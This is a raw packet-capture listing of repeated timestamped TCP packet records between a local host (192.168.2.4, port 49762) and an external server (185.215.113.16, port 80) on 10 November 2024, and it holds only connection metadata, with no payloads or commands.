Nov 10, 2024 19:44:29.381942987 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381953955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381963968 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.381988049 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.381994009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382005930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382019997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382025003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382034063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382044077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382059097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382065058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382074118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382082939 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382092953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382118940 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382129908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382226944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382236958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382255077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382261038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382273912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382282972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382291079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382299900 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382308960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382319927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382334948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382343054 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382365942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382399082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382433891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382441998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382467031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382500887 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382519007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382529020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382545948 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382559061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382565975 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382585049 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382616997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382678986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382688046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382704973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382715940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382723093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382726908 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382746935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382754087 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382766962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382774115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382793903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382803917 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382812023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382827997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382834911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382841110 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382853031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382865906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382872105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382880926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382889986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382900000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382908106 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382919073 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382934093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382939100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.382951021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382971048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382982016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.382988930 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383001089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383013010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383019924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383027077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383033037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383054018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383069038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383255959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383265018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383284092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383300066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383330107 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383416891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383426905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383444071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383452892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383460999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383479118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383496046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383506060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383519888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383528948 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383547068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383553982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383563042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383570910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383579969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383589983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383599043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383606911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383616924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.383625031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383639097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.383654118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384022951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384063005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384107113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384185076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384195089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384211063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384217024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384236097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384247065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384255886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384265900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384274006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384289980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384298086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384313107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384322882 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384335041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384344101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384351969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384363890 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384370089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384382010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384387970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384397030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384403944 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384416103 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384435892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384490013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384526968 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384533882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384541988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384567022 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384577990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.384584904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.384608984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.427906036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.427923918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.427937984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.428069115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.461679935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461698055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461703062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461740017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461754084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461796045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461807013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461813927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.461873055 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.461894035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461906910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461934090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461946964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461954117 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.461966991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.461990118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.461990118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.461990118 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.461997986 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.462007046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.462024927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.462033033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.462038040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.462058067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.462066889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.462076902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.462084055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.462097883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.462145090 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.462172031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.462182045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.462201118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.462208033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.462233067 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.493927956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.493937016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.493954897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.493973017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.493982077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.493993044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.494024038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.494031906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.494040012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.494056940 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.494072914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.494081974 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.494092941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.494111061 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.494126081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.494132042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.494141102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.494189024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496121883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496170044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496179104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496187925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496205091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496212006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496252060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496278048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496294022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496300936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496315956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496320963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496330023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496336937 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496351957 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496357918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496368885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496377945 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496387005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496397018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496406078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496413946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496423960 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496438980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496450901 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496475935 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496648073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496656895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496675014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496697903 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496716976 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496725082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496733904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496747971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496762037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496768951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496788979 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496818066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496933937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496944904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496967077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.496974945 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496988058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.496993065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.497000933 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.497008085 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.497020006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.497026920 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.497039080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.497047901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.497055054 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.497066975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.497080088 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.497086048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.497101068 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.497107029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.497116089 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.497138023 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.497962952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498013020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498033047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498040915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498050928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498065948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498071909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498081923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498090029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498120070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498145103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498155117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498172045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498178005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498210907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498399019 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498420000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498429060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498437881 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498462915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498572111 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498581886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498600006 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498606920 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498645067 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498704910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498727083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498739958 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498744965 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498764992 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498785019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498871088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498879910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498897076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498939991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.498958111 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498966932 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498985052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.498991966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499017954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499155045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499165058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499182940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499191046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499198914 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499214888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499219894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499231100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499238014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499249935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499257088 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499269009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499279022 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499285936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499293089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499303102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499331951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499339104 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499351025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499360085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499365091 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499371052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499376059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499381065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499383926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499388933 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499393940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499402046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499423981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499450922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499470949 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499541044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499588966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499619961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499635935 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499643087 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499651909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499660969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499675035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499691963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499702930 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499717951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499725103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499733925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499758005 CET	49762	80	192.168.2.4	185.215.113.16
